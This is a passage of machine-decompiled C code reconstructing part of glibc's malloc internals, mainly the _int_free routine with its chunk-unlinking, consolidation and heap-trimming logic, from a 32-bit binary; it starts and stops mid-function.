*)(v93 + v66) = v66; g98 = v47; if (v47 == 0) { v44 = v63; v42 = v62; v46 = v65; // break -> 0x80b3648 break; } v30 = v47; v29 = v63; v25 = v62; v31 = v65; // continue -> 0x80b35af continue; } int32_t v94 = *v22; // 0x80b3648 v43 = (int32_t *)(v94 + 4); int32_t v95 = *v45; // 0x80b364e int32_t v96 = *v22; // 0x80b3651 if (v96 != v95) { v36 = v45; v37 = v44; v38 = v42; v39 = v46; v35 = v43; goto lab_0x748bd20; } int32_t (*v97)(char *, int32_t *) = v42; int32_t * v98 = v46; // bp+013 int32_t * v99 = v43; // 0x80b3679_13 // 0x80b3672 g98 = (int32_t)v98; struct struct_59 * v100 = v4; // 0x80b3676_0 g101 = (int32_t)v100; g102 = (int32_t)v97; g100 = v1; return (int32_t)v99; } } int32_t v101 = g21; // 0x80b35e6 g102 = v101; int32_t v102 = v101 & 5; // 0x80b35ee g95 = v102; if (v102 == 5) { // 0x80b3750 v4 = (struct struct_59 *)"%s\n"; int32_t v103 = v101 & 2; // 0x80b375a g102 = v103; int32_t * v104 = (int32_t *)v103; // 0x80b375d_0 __libc_message(v104, (struct struct_59 *)"%s\n"); v52 = v29; _int_free = (int32_t (*)(char *, int32_t *))"corrupted double-linked list"; v53 = v104; v54 = v57; // branch -> 0x80b360c goto lab_0x7494d10; } else { // 0x80b35fa if (v101 == 1) { // 0x80b37ef g102 = 0; abort(); // UNREACHABLE } int32_t v105 = _itoa_word(v58, v26, 16, v26, v1); // 0x80b3687 g97 = v105; uint32_t v106 = g95; // 0x80b3694 int32_t v107 = v105; // 0x80b36b2 if (v106 < v105) { uint32_t v108 = -1 * v105; uint32_t v109 = -1 - v106; int32_t v110 = -1 - (v108 > v109 ? v108 : v109); g97 = v110; v107 = v110; // branch -> 0x80b36a3 } int32_t v111 = *(int32_t *)g93; // 0x80b36a8 int32_t v112 = v111; // 0x80b36b8 if (v111 == 0) { // 0x80b3786 v112 = 0x810918f; // branch -> 0x80b36b2 } // 0x80b36b2 v4 = (struct struct_59 *)"corrupted double-linked list"; int32_t v113 = g102 & 2; // 0x80b36be g102 = v113; __libc_message((int32_t *)v113, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); v52 = v29; _int_free = (int32_t (*)(char *, int32_t *))v107; v53 = (int32_t *)v112; v54 = v57; // branch -> 0x80b360c goto lab_0x7494d10; } // 0x80b360c v55 = g101; int32_t v114 = *v28; // 0x80b360f if (v55 == v114) { goto lab_0x7495ce0; } goto lab_0x11394380; } // 0x80b360c v55 = g101; if (v55 == *v28) { goto lab_0x7495ce0; } goto lab_0x11394380; } // 0x80b3648 v43 = (int32_t *)(*v22 + 4); v45 = v23; if (*v22 != *v45) { v36 = v45; v37 = v44; v38 = v42; v39 = v46; v35 = v43; goto lab_0x748bd20; } // 0x80b3672 g98 = (int32_t)v46; g101 = (int32_t)v4; g102 = (int32_t)v42; g100 = v1; return (int32_t)v43; } // 0x80b353a int32_t * v115; // 0x80b3679_15 v115[v7] = 0; v26 = (int32_t)g2; v28 = (int32_t *)(v7 + 48); v27 = (int32_t *)(v18 + 64); v30 = g98; v29 = a2; v25 = v3; v31 = v6; // branch -> 0x80b35af goto lab_0x11394260; } // Address range: 0x80b37f4 - 0x80b3f3b int32_t _int_free(char * a1, int32_t * a2) { int32_t v1 = g100; // 0x80b37f4 int32_t v2 = (int32_t)a2; // 0x80b37fd int32_t v3 = v2 - 8; // 0x80b3800 g101 = v3; int32_t v4 = *(int32_t *)(v2 - 4); // 0x80b3803 int32_t v5 = v4 & -8; // 0x80b3808 g102 = v5; int32_t v6 = v5 + v3; // 0x80b380f int32_t v7; // 0x80b3b65 int32_t v8; // 0x80b3b65 uint32_t v9; uint32_t v10; int32_t v11; // 0x80b3acf int32_t v12; // 0x80b3b9a int32_t v13; // 0x80b3e25 if (v3 <= -v5) { // 0x80b3817 if (v3 == 7) { int32_t v14 = (int32_t)a1; // 0x80b3823 int32_t v15 = v14 + 4; // 0x80b3826 int32_t * v16 = (int32_t *)v15; // 0x80b3826_0 uint32_t v17 = *v16; // 0x80b3826 g97 = v17; int32_t v18; if (v5 > v17) { // 0x80b3831 if (v4 == 2) { int32_t * v19 = (int32_t *)(v14 + 48); // 0x80b3869_0 int32_t v20 = *v19; // 0x80b3869 if (v20 == 7) { // 0x80b3ee7 g101 = 0x8109394; // branch -> 0x80b3acf } else { // 0x80b3874 g97 = v17 & 2; if (v17 == 2) { // 0x80b3ab8 if (v6 >= (*(int32_t *)(v20 + 4) & -8) + v20) { // 0x80b3aca g101 = 0x81093b4; // branch -> 0x80b3acf // 0x80b3acf v11 = g21; g98 = v11; g95 = v11; if ((v11 & 5) == 5) { // 0x80b3e1f v13 = v11 & 2; g98 = v13; int32_t * v21 = (int32_t *)__libc_message((int32_t *)v13, (struct struct_59 *)"%s\n"); // 0x80b3e29_4 // branch -> 0x80b3856 // 0x80b3856 return (int32_t)v21; } // 0x80b3ae3 if (v11 == 1) { // 0x80b3ae8 // branch -> 0x80b3af1 // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3b56 v7 = (int32_t)g2; v8 = _itoa_word(v2, v7, 16, v7, v1); g97 = v8; if (g95 < v8) { // 0x80b3b78 v9 = -v8; v10 = -1 - g96; g97 = -1 - (v10 < v9 ? v9 : v10); // branch -> 0x80b3b83 } // 0x80b3b83 if (*(int32_t *)g93 == 0) { // 0x80b3ea1 // branch -> 0x80b3b92 } // 0x80b3b92 v12 = g98 & 2; g98 = v12; // branch -> 0x80b3856 // 0x80b3856 return (int32_t)(int32_t *)__libc_message((int32_t *)v12, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); } } // 0x80b387d g97 = v6; int32_t * v22 = (int32_t *)(v6 + 4); // 0x80b3880_0 uint32_t v23 = *v22; // 0x80b3880 if (v23 == 1) { // 0x80b3f16 g101 = 0x81093d4; // branch -> 0x80b3acf } else { uint32_t v24 = v23 & -8; // 0x80b388d if (v23 >= 9) { // 0x80b389c if (v24 < *(int32_t *)(v14 + 1100)) { uint32_t v25 = g69; // 0x80b38ab int32_t v26; // 0x80b3cd1 int32_t v27; // 0x80b3bb8 int32_t v28; // 0x80b3c3d int32_t v29; // 0x80b3dab int32_t v30; // 0x80b3b37 int32_t v31; // 0x80b3b04 int32_t v32; // 0x80b3b19 int32_t * v33; // 0x80b38ca_0 int32_t * v34; // 0x80b391f_0 int32_t * v35; // 0x80b3957_0 int32_t * v36; // 0x80b39ba_0 int32_t * v37; // 0x80b39bd_0 int32_t * v38; // 0x80b3cf6_0 int32_t v39; int32_t v40; int32_t v41; int32_t v42; // 0x80b39fb int32_t * v43; // 0x80b3b37 int32_t v44; // 0x80b3bb8 int32_t v45; // 0x80b3c3d int32_t * v46; struct struct_59 * v47; // bp-56 int32_t v48; // 0x80b38c2 int32_t v49; // 0x80b3cc6 int32_t * v50; int32_t * v51; uint32_t v52; uint32_t v53; int32_t * v54; uint32_t v55; uint32_t v56; int32_t * v57; int32_t v58; // 0x80b38c0 int32_t v59; // 0x80b38c297 int32_t v60; // 0x80b3a01 int32_t v61; // 0x80b3ce3 int32_t v62; // 0x80b38be int32_t v63; // 0x80b38d3 int32_t v64; // 0x80b3928 int32_t v65; // 0x80b39a3 int32_t v66; // 0x80b39ac uint32_t v67; // 0x80b39b1 int32_t v68; // 0x80b399d int32_t v69; // 0x80b3a0e int32_t v70; // 0x80b3cfc int32_t v71; // 0x80b38db int32_t v72; // 0x80b3930 int32_t v73; // 0x80b3968 int32_t v74; // 0x80b39d3 int32_t v75; // 0x80b39ec int32_t v76; // 0x80b3a00 int32_t v77; // 0x80b3bf2 int32_t v78; // 0x80b3c76 int32_t v79; // 0x80b3cc3 int32_t v80; // 0x80b3e40 int32_t v81; // 0x80b3e72 int32_t v82; // 0x80b396e int32_t v83; // 0x80b38c4 int32_t v84; // 0x80b38c7 int32_t v85; // 0x80b3919 int32_t v86; // 0x80b391c int32_t v87; // 0x80b39ba int32_t v88; // 0x80b3a10 int32_t v89; // 0x80b3cba int32_t v90; // 0x80b3cbd int32_t v91; // 0x80b3cc9 int32_t * v92; // bp+021 if (v25 == 0) { // 0x80b38b9 g98 = 0; v58 = v5; v59 = 7; // branch -> 0x80b38be } else { // 0x80b38b9 memset(a2, v25 % 256, v5 - 4); int32_t v93 = g101; // 0x80b3f33 int32_t v94 = *(int32_t *)(v93 + 4) % 2; g98 = v94; v50 = v46; int32_t * v95; // 0x80b3a3f_0 int32_t v96; // 0x80b3a45 int32_t v97; // 0x80b3a13 int32_t * v98; // bp+024 if (v94 == 0) { // 0x80b38b9 v58 = g102; v59 = v93; // branch -> 0x80b38be // 0x80b38be v62 = *(int32_t *)v59; g102 = v58 + v62; v48 = v59 - v62; g101 = v48; v83 = *(int32_t *)(v48 + 8); v39 = v83; v84 = *(int32_t *)(v48 + 12); g97 = v84; v33 = (int32_t *)(v83 + 12); int32_t v99; // 0x80b3954 int32_t v100; // 0x80b3b3f int32_t * v101; // bp+410 int32_t v102; int32_t v103; // 0x80b3a29 int32_t v104; // 0x80b39e9 int32_t v105; // 0x80b3b09 uint32_t v106; // 0x80b3c0b int32_t * v107; // bp+023 if (v48 == *v33) { // 0x80b3d85 if (v48 == *(int32_t *)(v84 + 8)) { // 0x80b3d8e *v33 = v84; *(int32_t *)(g97 + 8) = v39; v50 = v46; // branch -> 0x80b38fc // 0x80b38fc if (v6 == *v19) { // 0x80b3b04 v31 = g102 + v24; g102 = v31; v105 = v31 | 1; *(int32_t *)(g101 + 4) = v105; *(int32_t *)(v14 + 48) = g101; v51 = v50; v102 = v105; // branch -> 0x80b3971 } else { // 0x80b390b if (*(char *)((v24 || 4) + v6) == 1) { // 0x80b3919 v85 = *(int32_t *)(v5 + v2); v86 = *(int32_t *)(v6 + 12); g97 = v86; v34 = (int32_t *)(v85 + 12); if (v6 == *v34) { // 0x80b3e00 if (v6 == *(int32_t *)(v86 + 8)) { // 0x80b3e09 *v34 = v86; *(int32_t *)(g97 + 8) = v85; // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v99 = v14 + 56; v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v99; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // 0x80b3856 return (int32_t)(int32_t *)v99; } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 v106 = *(int32_t *)(g82 + 4) & -8; if (v106 >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; v101 = (int32_t *)sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } else { v101 = (int32_t *)v106; } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; int32_t v108; // 0x80b39d0 if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba int32_t * v109; // bp+022 while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; v61 = v26; if (v91 == 1) { lab_0x7501a00: // 0x80b3cdc v61 = *(int32_t *)v49 + v26; // branch -> 0x80b3ce3 } lab_0x7502f20: // 0x80b3ce3 if (v65 + 16 + v67 > v61 - v90 + 0x100000) { // 0x80b3eb5 g101 = v70; // branch -> 0x80b39d0 } else { // 0x80b3cf3 *v38 = *v38 - *(int32_t *)(v70 + 8); g67 -= *(int32_t *)(v70 + 8); struct struct_59 * v110 = v47; // 0x80b3d12_0 if ((int32_t)v110 + 0x100000 == g66) { // 0x80b3d79 g66 = 0; // branch -> 0x80b3d22 } // 0x80b3d22 munmap((int32_t *)v110, 0x100000); g102 = 0x100000; int32_t v111 = v49; // 0x80b3d31 int32_t * v112 = (int32_t *)v111; // 0x80b3d3b_0 int32_t v113; // 0x80b3caa if (*(char *)(v111 + 4) == 1) { int32_t v114 = v111 - *v112; // 0x80b3d3b int32_t * v115 = (int32_t *)v114; // 0x80b3d3d_0 int32_t v116 = *(int32_t *)(v114 + 8); // 0x80b3d40 v39 = v116; int32_t v117 = *(int32_t *)(v114 + 12); // 0x80b3d43 g97 = v117; int32_t * v118 = (int32_t *)(v116 + 12); // 0x80b3d46_0 if (v114 == *v118) { // 0x80b3e51 if (v114 == *(int32_t *)(v117 + 8)) { // 0x80b3e5a *v118 = v117; *(int32_t *)(g97 + 8) = v39; v40 = v114; v109 = v115; // branch -> 0x80b3c9a lab_0x7509e30: // 0x80b3c9a *v36 = v114; *(int32_t *)(v40 + 4) = v61 | 1; v113 = g101; v47 = (struct struct_59 *)v113; if (v40 != v113 + 16) { // break -> 0x80b3e14 break; } v92 = v109; v70 = v113; // continue -> 0x80b3cba continue; } } int32_t v119 = g21; // 0x80b3d4f g98 = v119; int32_t v120 = v119 & 5; // 0x80b3d57 g95 = v120; if (v120 == 5) { int32_t v121 = v119 & 2; // 0x80b3e8d g98 = v121; __libc_message((int32_t *)v121, (struct struct_59 *)"%s\n"); v40 = v114; v109 = v115; // branch -> 0x80b3c9a goto lab_0x7509e30; } else { // 0x80b3d63 if (v119 == 1) { // 0x80b3d68 // branch -> 0x80b3af1 // 0x80b3af1 abort(); // UNREACHABLE } int32_t v122 = _itoa_word(v114, v29, 16, v29, v1); // 0x80b3dab g97 = v122; if (g95 < v122) { uint32_t v123 = -1 * v122; uint32_t v124 = -1 - g96; g97 = -1 - (v123 > v124 ? v123 : v124); // branch -> 0x80b3dc7 } // 0x80b3dc7 if (*(int32_t *)g93 == 0) { // 0x80b3edd // branch -> 0x80b3dd6 } int32_t v125 = g98 & 2; // 0x80b3de2 g98 = v125; __libc_message((int32_t *)v125, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); v40 = v114; v109 = v115; // branch -> 0x80b3c9a goto lab_0x7509e30; } lab_0x7513130: // 0x80b3c9a *v36 = v111; *(int32_t *)(v40 + 4) = v61 | 1; v113 = g101; v47 = (struct struct_59 *)v113; if (v40 != v113 + 16) { // break -> 0x80b3e14 break; } v92 = v109; v70 = v113; // continue -> 0x80b3cba continue; } else { // 0x80b3c95 v40 = v111; v109 = v112; // branch -> 0x80b3c9a goto lab_0x7513130; } // 0x80b3c9a int32_t v126; // 0x80b3c9d *v36 = v126; int32_t v127 = v40; // 0x80b3ca7 *(int32_t *)(v127 + 4) = v61 | 1; v113 = g101; int32_t v128 = v40; // 0x80b3cad v47 = (struct struct_59 *)v113; if (v128 != v113 + 16) { // break -> 0x80b3e14 break; } v92 = v109; v70 = v113; // continue -> 0x80b3cba continue; } // 0x80b39d0 v74 = *(int32_t *)((int32_t)v92 + 4) & -8; v104 = (v67 - 17 + v74 - v65) / v67 - 1; v75 = v104 * v67; v41 = v75; if (v75 < v67) { // 0x80b3856 return (int32_t)(int32_t *)v104; } // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); v100 = (int32_t)v43 + 1; if (v100 != 0) { v107 = (int32_t *)0x80b3b3c; // 0x80b3a39 *(int32_t *)(g101 + 8) = v32; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; // branch -> 0x80b3856 // 0x80b3856 return (int32_t)v107; } v101 = (int32_t *)v100; } else { v101 = (int32_t *)v32; } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); v97 = v88 + v69; if (v97 <= 0x100000) { // 0x80b3a22 v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3); if (v103 == 0) { v107 = v92; // 0x80b3a39 *(int32_t *)(g101 + 8) = v97; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; // branch -> 0x80b3856 // 0x80b3856 return (int32_t)v107; } v101 = (int32_t *)v103; } else { v101 = (int32_t *)v88; } } // 0x80b3856 return (int32_t)v101; } // 0x80b3e14 v108 = (int32_t)v109; v98 = v109; // branch -> 0x80b39d0 } else { // 0x80b39ce v108 = v87; v98 = v37; // branch -> 0x80b39d0 } // 0x80b39d0 v74 = *(int32_t *)(v108 + 4) & -8; v104 = (v67 - 17 + v74 - v65) / v67 - 1; v75 = v104 * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); v100 = (int32_t)v43 + 1; if (v100 != 0) { v107 = (int32_t *)0x80b3b3c; // 0x80b3a39 *(int32_t *)(g101 + 8) = v32; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; v101 = v107; // branch -> 0x80b3856 } else { v101 = (int32_t *)v100; } } else { v101 = (int32_t *)v32; } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); v97 = v88 + v69; if (v97 <= 0x100000) { // 0x80b3a22 v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3); if (v103 == 0) { v107 = v98; // 0x80b3a39 *(int32_t *)(g101 + 8) = v97; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; v101 = v107; // branch -> 0x80b3856 } else { v101 = (int32_t *)v103; } } else { v101 = (int32_t *)v88; } } // 0x80b3856 return (int32_t)v101; } v101 = (int32_t *)v104; } // 0x80b3856 return (int32_t)v101; } } // 0x80b3928 v64 = g21; g98 = v64; v72 = v64 & 5; g95 = v72; if (v72 != 5) { // 0x80b393c if (v64 == 1) { // 0x80b3945 // branch -> 0x80b3af1 // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3c2e v28 = (int32_t)g2; v45 = _itoa_word(v6, v28, 16, v28, v1); g97 = v45; v57 = v50; if (g96 < v45) { // 0x80b3c50 v55 = -v45; v56 = -1 - g95; g97 = -1 - (v56 < v55 ? v55 : v56); v57 = (int32_t *)48; // branch -> 0x80b3c5b } // 0x80b3c5b if (*(int32_t *)g93 == 0) { // 0x80b3ed3 // branch -> 0x80b3c6a } // 0x80b3c6a v78 = g98 & 2; g98 = v78; __libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v99 = v14 + 56; v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v99; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v57; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // 0x80b3856 return (int32_t)(int32_t *)v99; } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 v106 = *(int32_t *)(g82 + 4) & -8; if (v106 >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; v101 = (int32_t *)sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } else { v101 = (int32_t *)v106; } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v74 = *(int32_t *)(v87 + 4) & -8; v104 = (v67 - 17 + v74 - v65) / v67 - 1; v75 = v104 * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); v100 = (int32_t)v43 + 1; if (v100 != 0) { v107 = (int32_t *)0x80b3b3c; // 0x80b3a39 *(int32_t *)(g101 + 8) = v32; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; v101 = v107; // branch -> 0x80b3856 } else { v101 = (int32_t *)v100; } } else { v101 = (int32_t *)v32; } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); v97 = v88 + v69; if (v97 <= 0x100000) { // 0x80b3a22 v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3); if (v103 == 0) { v107 = v37; // 0x80b3a39 *(int32_t *)(g101 + 8) = v97; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; v101 = v107; // branch -> 0x80b3856 } else { v101 = (int32_t *)v103; } } else { v101 = (int32_t *)v88; } } // 0x80b3856 return (int32_t)v101; } v101 = (int32_t *)v104; } // 0x80b3856 return (int32_t)v101; } // 0x80b3e68 v81 = v64 & 2; g98 = v81; __libc_message((int32_t *)v81, (struct struct_59 *)"%s\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 } else { // 0x80b3af8 *v22 = *v22 & -2; // branch -> 0x80b3951 } // 0x80b3951 v99 = v14 + 56; v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v99; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; v102 = v99; // branch -> 0x80b3971 } // 0x80b3971 if (g102 < 0x10000) { // 0x80b3856 return (int32_t)(int32_t *)v102; } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 v106 = *(int32_t *)(g82 + 4) & -8; if (v106 >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; v101 = (int32_t *)sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } else { v101 = (int32_t *)v106; } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v74 = *(int32_t *)(v87 + 4) & -8; v104 = (v67 - 17 + v74 - v65) / v67 - 1; v75 = v104 * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); v100 = (int32_t)v43 + 1; if (v100 != 0) { v107 = (int32_t *)0x80b3b3c; // 0x80b3a39 *(int32_t *)(g101 + 8) = v32; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; v101 = v107; // branch -> 0x80b3856 } else { v101 = (int32_t *)v100; } } else { v101 = (int32_t *)v32; } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); v97 = v88 + v69; if (v97 <= 0x100000) { // 0x80b3a22 v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3); if (v103 == 0) { v107 = v37; // 0x80b3a39 *(int32_t *)(g101 + 8) = v97; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; v101 = v107; // branch -> 0x80b3856 } else { v101 = (int32_t *)v103; } } else { v101 = (int32_t *)v88; } } // 0x80b3856 return (int32_t)v101; } v101 = (int32_t *)v104; } // 0x80b3856 return (int32_t)v101; } } // 0x80b38d3 v63 = g21; g98 = v63; v71 = v63 & 5; g95 = v71; if (v71 != 5) { // 0x80b38e7 if (v63 == 1) { // 0x80b38f0 // branch -> 0x80b3af1 // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3bab v27 = (int32_t)g2; v44 = _itoa_word(v48, v27, 16, v27, v1); g97 = v44; v54 = v46; if (g96 < v44) { // 0x80b3bcc v52 = -v44; v53 = -1 - g95; g97 = -1 - (v53 < v52 ? v52 : v53); v54 = (int32_t *)48; // branch -> 0x80b3bd7 } // 0x80b3bd7 if (*(int32_t *)g93 == 0) { // 0x80b3eab // branch -> 0x80b3be6 } // 0x80b3be6 v77 = g98 & 2; g98 = v77; __libc_message((int32_t *)v77, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); v50 = v54; // branch -> 0x80b38fc // 0x80b38fc if (v6 == *v19) { // 0x80b3b04 v31 = g102 + v24; g102 = v31; v105 = v31 | 1; *(int32_t *)(g101 + 4) = v105; *(int32_t *)(v14 + 48) = g101; v51 = v50; v102 = v105; // branch -> 0x80b3971 } else { // 0x80b390b if (*(char *)((v24 || 4) + v6) == 1) { // 0x80b3919 v85 = *(int32_t *)(v5 + v2); v86 = *(int32_t *)(v6 + 12); g97 = v86; v34 = (int32_t *)(v85 + 12); if (v6 == *v34) { // 0x80b3e00 if (v6 == *(int32_t *)(v86 + 8)) { // 0x80b3e09 *v34 = v86; *(int32_t *)(g97 + 8) = v85; // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v99 = v14 + 56; v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v99; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // 0x80b3856 return (int32_t)(int32_t *)v99; } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 v106 = *(int32_t *)(g82 + 4) & -8; if (v106 >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; v101 = (int32_t *)sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } else { v101 = (int32_t *)v106; } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = 